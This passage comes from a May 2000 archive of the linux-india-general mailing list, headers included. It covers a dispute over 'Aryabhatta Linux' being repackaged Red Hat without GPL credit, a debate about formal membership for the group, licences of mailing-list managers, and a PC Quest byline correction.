expression" etc etc and hope that your actions will be justified. Think about it, and then resume spamming if you want. Of course, if you resume spamming, several people on the list WILL complain to your upstreams (bhavinc@indialinks.com locally and abuse@rackspace.com / abuse@colossus.net in the states) and your dialup provider (VSNL) and get you disconnected. -suresh -- Suresh Ramasubramanian | sureshr at staff.juno.com Stop searching. Happiness is right next to you. From linux-india-general-owner@lists.linux-india.org Wed May 31 07:10:57 2000 Received: from hbcse.tifr.res.in (unknown [158.144.44.129]) by www.aunet.org (Postfix) with ESMTP id 0411838055 for ; Wed, 31 May 2000 07:10:48 -0700 (PDT) Received: from localhost (nagarjun@localhost) by hbcse.tifr.res.in (8.9.3/8.9.3) with ESMTP id TAA21148 for ; Wed, 31 May 2000 19:39:54 +0530 Date: Wed, 31 May 2000 19:39:54 +0530 (IST) From: "Nagarjuna G." To: linux-india-general@lists.linux-india.org Subject: Aryabhatta [sic] Linux Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/207 Hi all Any of you following the press coverage of Aryabhatta [sic] Linux? This is the hot topic here in ILUG-BOM list. The way Mr. Vishal Gupta has been talking about, being the first indian OS etc, etc, is making most of us here boil. The so called first indian OS is nothing but RH 6.1, with a few changes here and there. I will post the observations in detail soon. The ill-informed journalists gave so much of front-page coverage! We are all really surprised to see how a technical magazine like Express Computers has given such a wide coverage without checking the facts. There is no mention of GPL, or Free or open source, no credits, and no names of people who contributed in writing the scripts ... We are going to review the product and release a press statement soon (on monday). If any of you have already done it or in the process of doing it, please get in touch with me. I personally think LI should also consider reviewing the case and clarify particularly the press about the issue. Meanwhile look at the http://www.linuxa2z.com and the ire at:http://ilug-bom.org.in/pipermail/linuxers/Week-of-Mon-20000529/thread.html Nagarjuna From linux-india-general-owner@lists.linux-india.org Wed May 31 07:28:19 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 77E1F3806F for ; Wed, 31 May 2000 07:27:24 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id TAAAA27937; Wed, 31 May 2000 19:56:43 +0530 (IST) Date: Wed, 31 May 2000 19:56:43 +0530 From: Suresh Ramasubramanian To: "Nagarjuna G." Cc: linux-india-general@lists.linux-india.org Subject: Re: Aryabhatta [sic] Linux Message-ID: <20000531195643.A27693@staff.juno.com> Reply-To: Suresh Ramasubramanian Mail-Followup-To: "Nagarjuna G." , linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from nagarjun@hbcse.tifr.res.in on Wed, May 31, 2000 at 07:39:54PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/208 Nagarjuna G. saw fit to inform LI that: >Any of you following the press coverage of Aryabhatta [sic] Linux? >This is the hot topic here in ILUG-BOM list. The way Mr. Vishal Gupta has >been talking about, being the first indian OS etc, etc, is making most of us This is the same company which touted "Aryan Linux" in Bang!Linux. They were laughed out of the place as a bunch of idiots, and now have come back in a new disguise. >here boil. The so called first indian OS is nothing but RH 6.1, with a few >changes here and there. I will post the observations in detail soon. The Specifically, PCQ redhat 6.1 (down to the DOSsy commands and support for sis 6215c cards) >ill-informed journalists gave so much of front-page coverage! We are all >really surprised to see how a technical magazine like Express Computers has Express Computers? IIRC, they recently published a "cool link" - http://astalavista.box.sk This is a cool site, where you can download small patch to remove the 30 day restriction on several programs. Right, buddies - they gave publicity to a w4r3z site. (don't ask me to get the paper, as I usually throw Express Computers into the dustbin, where it belongs). >We are going to review the product and release a press statement soon (on >monday). If any of you have already done it or in the process of doing it, Ref previous threads on "Aryan Linux" and compare the two. >please get in touch with me. I personally think LI should also consider >reviewing the case and clarify particularly the press about the issue. ... and PC Quest as well. It is _their_ customized Linux that's being ripped off so blatantly. These crooks need a public dressing down (sounds much more picturesque in Hindi - chaddi uthaarna) - and LI is the best group to do it ;) >Meanwhile look at the http://www.linuxa2z.com utter crap - and totally bloated crap at that. Color coordination is horrible - and somebody has just decided to show the world "I know Macromedia Fireworks, nya nya nya". Also, will you look at this -- Basic User Module Systems (1 week for ls/cp/rm/kppp etc) - 3k. Admin - Apache, Squid, Sendmail etc in 3 weeks for 4500/-. I can't bear to see what sort of "sysads" they'll produce - trained on this brokenware, and let loose to add several open relays and r00table boxes to the world. sigh... Next step will be that they'll start spamming LI-* I suppose. They haven't done that yet but if they do ... ;) -- Suresh Ramasubramanian | sureshr at staff.juno.com Johnson's First Law: When any mechanical contrivance fails, it will do so at the most inconvenient possible time. From linux-india-general-owner@lists.linux-india.org Wed May 31 07:35:20 2000 Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202]) by www.aunet.org (Postfix) with ESMTP id 1F175380CA for ; Wed, 31 May 2000 07:35:10 -0700 (PDT) Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19]) by atlrel2.hp.com (Postfix) with ESMTP id 8A20F377 for ; Wed, 31 May 2000 10:35:04 -0400 (EDT) Received: from red.india.hp.com (red.india.hp.com [15.10.43.6]) by l3107mxr.atl.hp.com (Postfix) with ESMTP id 987584FD88 for ; Wed, 31 May 2000 09:35:02 -0400 (EDT) Received: from india.hp.com (sachin@localhost [127.0.0.1]) by red.india.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id TAA28516 for ; Wed, 31 May 2000 19:55:40 +0530 (IST) Message-ID: <393520E2.4CD3EB81@india.hp.com> Date: Wed, 31 May 2000 19:55:38 +0530 From: Sachin Garg Organization: Hewlett Packard ISO X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712) X-Accept-Language: en MIME-Version: 1.0 To: Linux-India-General Subject: Re: Formal Member Registration Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/209 My 2 paise on this issue: I just rejoined the list and looked up this thread, especially since I had attended the meet where Atul had put forth his views on the above. I generally agree that informality is good and all that, but considering the size we are now, in order to do something fruitful and take the 'movement' forward (Arun would disagree), but then Linux is what brings us, all from diverse walks of life together, we need to band ourselves together with some sort of order. Today, everything that happens in LI (I know ILUG-BLR only, so I speak for that) is b'cos of a few people taking initiative. It started with Jessie taking the initiative on her own (OK, it may have bring benefits to her or others, but definitely those are *much* less than the effort she or the others expend). Not to forget KD, Atul, Gopi and myriad others who have voluntarily put in their time and effort to band together like-minded people. But, this informality and rag-tag band has its disadvantages as have been pointed out by Atul. For the past many meetings, C-DAC has been kind enough to offer their LCD projector to the ILUG-BLR meets, purely on personal connections. It is an individual (any one, previously myself and now Jessie) who shoulders the whole responsibility. What happens if something goes wrong, somewhere? It is that thought that makes me afraid many a time. A bit of formalism, ensuring that LI and ILUG-BLR get the much needed legitimacy is definitely on the cards. A little bit of money shelled out (saving from what one would normally spend on other (I would call frivolous) activities) would go a long way. And how much was Atul talking about? A mere 10 bucks! Heck u can't treat u'r girlfriend or buy even a half-peg of liquor in that (unless one drinks country-made, which I doubt anyone does here). The rest, we could have graded membsership, ensuring that those who can pay more, pay more. We could still continue to be a co-operative, with every member being equal, irrespective of the shares he or she possesses. The bottomline is that every community would need money, for its various needs. Today, LI has volunteers, who would help in kind, but has to look outward for whatever its cash needs. It is imperative that we form a society (with its inherent ills), but then every entity has a set of rules, a charter by which it exists. There has to be someone who speaks out for the Linux users in the country to those who want to help the community or to those who wish to harm it. A rag-tag band without a leader is just "too many cooks spoiling the broth". I know many would not agree, but there it is. The bottomline: We *need* to *organise* Thanx for listening to my rant and if you got this far, u r patient! sachin From linux-india-general-owner@lists.linux-india.org Wed May 31 08:07:37 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 7FEEA38095 for ; Wed, 31 May 2000 08:07:33 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id IAA12897 for linux-india-general@lists.linux-india.org; Wed, 31 May 2000 08:07:20 -0700 Date: Wed, 31 May 2000 08:07:20 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: Re: Aryabhatta [sic] Linux Message-ID: <20000531080720.A12798@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: ; from Nagarjuna G. on Wed, May 31, 2000 at 07:39:54PM +0530 X-Archive-Number: 200005/210 On Wed, May 31, 2000 at 07:39:54PM +0530, Nagarjuna G. wrote: > There is no mention of GPL, or Free or open source, no credits, and > no names of people who contributed in writing the scripts ... Aaargh! Don't get me started again :) Just kidding. I think I've made my points. I'll shut up for the time being, until the next inflammatory post on this topic, on a day when I'm particularly bored. -Arun From linux-india-general-owner@lists.linux-india.org Wed May 31 13:12:29 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id D78F338058 for ; Wed, 31 May 2000 13:12:24 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id NAA13658 for linux-india-general@lists.linux-india.org; Wed, 31 May 2000 13:12:11 -0700 Date: Wed, 31 May 2000 13:12:11 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: Re: [LIH] Re: multiple email accounts thru one ISP account... Message-ID: <20000531131211.A13645@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <393549DF.3248C21E@netscape.com>; from Sudhakar Chandra on Wed, May 31, 2000 at 10:20:31AM -0700 X-Archive-Number: 200005/211 On Wed, May 31, 2000 at 10:20:31AM -0700, Sudhakar Chandra wrote: > The decent free (as in zero cost) ones are sympa, listar, mailman and mj 1 > and mj2. Interestingly, two of the 4 projects switched from a non GPL open source license to GPL, because of infection :) Mailman I think was GPL'ed to begin with and seems to be adopted as the official GNU mailing list manager. Majordomo is the only one which is not GPL. -Arun From linux-india-general-owner@lists.linux-india.org Wed May 31 15:39:16 2000 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by www.aunet.org (Postfix) with ESMTP id 33C5B38050 for ; Wed, 31 May 2000 15:39:09 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id e4VMVYo04044 for ; Wed, 31 May 2000 15:31:34 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FVG48800.FSV for ; Wed, 31 May 2000 15:38:32 -0700 Message-ID: <39359467.37C6E8C9@netscape.com> Date: Wed, 31 May 2000 15:38:31 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] Re: multiple email accounts thru one ISP account... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/212 Arun Sharma proclaimed: > Majordomo is the only one which is not GPL. mj1 has a really weird license. mj2 is licended under a derivative of the Apache licemse. Thaths -- Ned: Homer, I'd love to chitty-chat, but tonight's the night I do my charity work. Homer: Oh yeah, the judge made me do that once too. Stupid lack of public urinals. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Wed May 31 23:41:35 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id BCFFE38058; Wed, 31 May 2000 23:41:21 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id MAA01395; Thu, 1 Jun 2000 12:13:25 +0530 Date: Thu, 1 Jun 2000 12:13:25 +0530 (IST) From: Atul Chitnis To: Linux India General Cc: linux-india-help@lists.linux-india.org Subject: PCQ June 2000: Clarifications Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/213 All: The June issue of PCQ is out on the stands, and, as stated earlier, is the next Linux issue. We hope you like it. However, due to an incredible foul-up by me, two articles in the issue have been wrongly credited. Even worse, they are the two articles written by Mrinal Kalakrishnan and his father, Babu Kalakrishnan. The article on CD-Writing on page 63 is written by Mrinal Kalakrishnan. The article on Linux and Viruses on page 49 is written by Babu Kalakrishnan, with some addition by Madhu. Appropriate errata will be printed in the next issue, and the online versions of the articles will carry the correct bylines. For the record - the error happened because I didn't pay enough attention to this critical item on my checklist - I was in Germany holidaying shamelessly. I apologise on behalf of PCQ and the PCQ Linux project for this goofup, and I hope that father&son don't stop writing because of this! As you will discover yourselves - these two articles definitely rank among the best in the issue. :-( Atul -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 --------------------------------------------------------